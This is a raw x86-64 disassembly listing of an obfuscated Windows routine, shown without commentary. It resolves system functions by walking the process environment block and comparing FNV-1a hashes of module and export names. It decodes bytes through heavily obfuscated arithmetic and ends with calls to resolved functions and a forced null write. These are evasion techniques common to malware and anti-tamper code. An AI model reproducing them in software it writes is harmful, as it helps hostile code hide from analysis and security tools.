add dil, 0x43
add rbx, r10
movzx eax, dil
mov rcx, rsi
sub rcx, rax
add r9, rcx
jmp 0x14011316b
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4d
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x1d0], cl
add rbx, r15
mov rax, rsi
sub rax, rbx
add r9, rax
jmp 0x14011315c
movabs rcx, 0x9f89901e00560293
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x1d0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401129a7
add r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea edi, [r8 + r9]
add dil, 0x7b
jmp 0x14011298e
lea rdx, [rbp + 0x16deabc]
jmp 0x1401131a8
lea rdx, [rbp + 0x7540ed]
jmp 0x1401131a8
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1b0]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x140113322
mov esi, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
mov r14d, 0x811c9dc5
test esi, esi
je 0x14011322e
psrldq xmm0, 8
movq rdx, xmm0
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r14d
jmp 0x140113220
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14011320f
cmp r8d, esi
jne 0x140113313
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x140113313
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140113313
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, r14d
jmp 0x140113280
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140113273
cmp r8d, r13d
je 0x140113295
test ebx, ebx
jne 0x140113261
jmp 0x140113313
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14011331b
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x14011331b
mov esi, r14d
mov ecx, r14d
mov dword [rsp + 0x54], ecx
jmp 0x1401132d6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401132c8
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x1401132fd
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401132e5
mov dword [rsp + 0x54], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r13d, dword [rsp + 0x54]
mov rax, qword [rax]
jmp 0x1401131e0
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x14011348f
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x14011339e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140113391
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140113382
cmp edx, esi
jne 0x140113470
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140113470
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140113470
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x1401133f0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x1401133e5
cmp edx, dword [rbp - 0x60]
je 0x140113406
test r11d, r11d
jne 0x1401133d2
jmp 0x140113470
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140113488
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140113488
mov esi, r13d
mov ecx, r13d
mov dword [rbp - 0x60], ecx
jmp 0x140113447
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r15
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140113439
add rbx, r15
mov al, byte [rbx]
test al, al
je 0x14011346d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r15
mov al, byte [rbx]
test al, al
jne 0x140113456
mov dword [rbp - 0x60], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140113485
cmp qword [rax + 0x30], r12
jne 0x140113353
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x140113602
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x140113511
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x140113504
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401134f5
cmp edx, esi
jne 0x1401135e3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401135e3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401135e3
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x140113563
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x140113558
cmp edx, dword [rbp - 0x5c]
je 0x140113579
test r11d, r11d
jne 0x140113545
jmp 0x1401135e3
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401135fb
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401135fb
mov esi, r13d
mov ecx, r13d
mov dword [rbp - 0x5c], ecx
jmp 0x1401135ba
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401135ac
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x1401135e0
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401135c9
mov dword [rbp - 0x5c], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1401135f8
cmp qword [rax + 0x30], r12
jne 0x1401134c6
mov rdx, r12
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
test rdx, rdx
jne 0x14011376c
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x14011367b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x14011366e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14011365f
cmp edx, esi
jne 0x14011374d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14011374d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14011374d
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, r13d
jmp 0x1401136cd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x1401136c2
cmp edx, dword [rbp - 0x58]
je 0x1401136e3
test r11d, r11d
jne 0x1401136af
jmp 0x14011374d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140113765
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140113765
mov esi, r13d
mov ecx, r13d
mov dword [rbp - 0x58], ecx
jmp 0x140113724
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140113716
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x14011374a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140113733
mov dword [rbp - 0x58], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140113762
cmp qword [rax + 0x30], r12
jne 0x140113630
mov rdx, r12
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
test rdx, rdx
jne 0x1401138d6
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x1401137e5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x1401137d8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401137c9
cmp edx, esi
jne 0x1401138b7
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401138b7
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401138b7
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r13d
jmp 0x140113837
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x14011382c
cmp edx, dword [rbp - 0x54]
je 0x14011384d
test r11d, r11d
jne 0x140113819
jmp 0x1401138b7
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401138cf
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401138cf
mov esi, r13d
mov ecx, r13d
mov dword [rbp - 0x54], ecx
jmp 0x14011388e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140113880
add rdx, r15
mov al, byte [rdx]
test al, al
je 0x1401138b4
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14011389d
mov dword [rbp - 0x54], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1401138cc
cmp qword [rax + 0x30], r12
jne 0x14011379a
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x140113a40
mov esi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x14011394c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x14011393f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140113930
cmp edx, esi
jne 0x140113a21
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140113a21
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140113a21
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, r13d
jmp 0x14011399e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r15
test cl, cl
jne 0x140113993
cmp edx, dword [rbp - 0x50]
je 0x1401139b4
test r9d, r9d
jne 0x140113980
jmp 0x140113a21
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140113a39
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140113a39
mov esi, r13d
mov ecx, r13d
mov dword [rbp - 0x50], ecx
jmp 0x1401139f5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r15
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401139e7
add r9, r15
mov al, byte [r9]
test al, al
je 0x140113a1e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r15
mov al, byte [r9]
test al, al
jne 0x140113a06
mov dword [rbp - 0x50], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140113a36
cmp qword [rax + 0x30], r12
jne 0x140113901
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x140113ab4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x140113a99
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140113a7d
cmp edx, 0x610c0de3
je 0x140113b05
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x140113aaa
cmp qword [rax + 0x30], r12
jne 0x140113a63
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r12d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x140113b00
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x140113ae4
cmp ecx, 0xe463da3c
je 0x140113b0b
add r10d, r15d
jmp 0x140113ac8
mov r8, qword [r8 + 0x30]
jmp 0x140113aad
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r15, rax
mov r10, qword [0x14017c778]
test r10, r10
jne 0x140113c9d
mov esi, r12d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r14, qword [rcx]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140113ba0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140113b93
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140113b84
cmp edx, esi
jne 0x140113c7e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140113c7e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140113c7e
mov edi, dword [r11 + 0x20]
mov r13d, 1
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140113bfa
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140113bef
cmp edx, dword [rbp - 0x4c]
je 0x140113c10
test r10d, r10d
jne 0x140113bda
jmp 0x140113c7e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140113c96
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140113c96
mov esi, 0x811c9dc5
mov ecx, esi
mov dword [rbp - 0x4c], ecx
jmp 0x140113c52
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, r13
mov al, byte [r10]
cmp al, 0x2e
jne 0x140113c44
add r10, r13
mov al, byte [r10]
test al, al
je 0x140113c7b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r13
mov al, byte [r10]
test al, al
jne 0x140113c63
mov dword [rbp - 0x4c], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140113c93
cmp qword [rax + 0x30], r12
jne 0x140113b59
mov r10, r12
mov qword [0x14017c778], r10
lea r9, [rbp + 0x58c]
mov r13d, 1
mov r8d, r13d
mov edx, 0x5000
mov rcx, r15
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x140113e22
mov edi, r12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140113d29
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140113d1c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140113d0d
cmp edx, edi
jne 0x140113e03
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140113e03
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140113e03
mov esi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rsi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140113d7d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140113d72
cmp edx, dword [rbp - 0x48]
je 0x140113d93
test r11d, r11d
jne 0x140113d5d
jmp 0x140113e03
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140113e1b
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140113e1b
mov eax, 0x811c9dc5
mov edi, eax
mov ecx, eax
mov dword [rbp - 0x48], eax
jmp 0x140113dd7
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r8, r13
mov al, byte [r8]
cmp al, 0x2e
jne 0x140113dc9
add r8, r13
mov al, byte [r8]
test al, al
je 0x140113e00
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r8, r13
mov al, byte [r8]
test al, al
jne 0x140113de8
mov dword [rbp - 0x48], ecx
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140113e18
cmp qword [rax + 0x30], r12
jne 0x140113ce2
mov r8, r12
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r15
call r8
mov qword [0], 0x99
jmp 0x140113e41
mov r13d, 1
mov byte [rbp + 0x1f0], Ordinal_79
mov byte [rbp + 0x1f1], 0xb5
mov byte [rbp + 0x1f2], 0xb4
mov byte [rbp + 0x1f3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f4], xmm0
mov qword [rbp + 0x204], rax
mov dword [rbp + 0x20c], eax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x20
jae 0x14011484a
movzx r8d, byte [rbp + r9 + 0x1f0]
mov rdx, r8
cmp rbx, r9
ja 0x140114842
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140113ed8
movabs rcx, 0x37d6c032caef3249
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, r13b
jmp 0x140113f05
je 0x1401147cf
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401147a3
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140114788
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140114747
cmp r10, r9
ja 0x14011483a
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140113f2e
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
jmp 0x140113f6f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011472d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140114715
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401146fa
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140114683
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140114668
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140114462
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140114444
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140114426
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140114408
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401143ea
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401143cc
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401143be
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401143a0
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140114382
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140114374
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140113f7c
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x40]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14011481e
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140114802
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140114164
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14011414a
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140114130
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401142c5
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401142ae
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x140114294
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140114271
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140113f7c
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x42]
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140114257
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x14011423d
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140114220
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140114206
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401141ec
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401141cf
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401141b5
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14011419b
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14011417e
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140113f7c
lea rbx, [r10 + 0xa]
lea r10, [rbx + 0x5a]
jmp 0x140113f7c
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x75
jmp 0x140113f6f
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x77
jmp 0x140113f05
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x79
jmp 0x140113ea1
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x58
mov r11b, r9b
jmp 0x140114762
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140114780
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140114783
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5e
mov r11b, r9b
jmp 0x14011462a
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14011479e
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
jmp 0x1401147bf
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
mov r11b, r9b
jmp 0x14011469e
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x66
jmp 0x1401146c9
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401147eb
lea ecx, [r9 - 0x15]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6d
mov byte [rbp + r9 + 0x1f0], dil
jmp 0x1401147fa
lea edx, [r9 + 0x59]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6f
jmp 0x140114345
lea edx, [r9 - 0x39]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x71
jmp 0x140114312
lea edx, [r9 + 0x35]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x73
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x400
je 0x140114650
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x140114527
lea edx, [r9 + 0x65]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3d
add dil, dl
cmp rbx, 4
jae 0x14011460b
lea rax, [r10 + 0x400]
cmp rbx, rax
jbe 0x1401145bf
lea edx, [r9 + 0x62]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 0x42
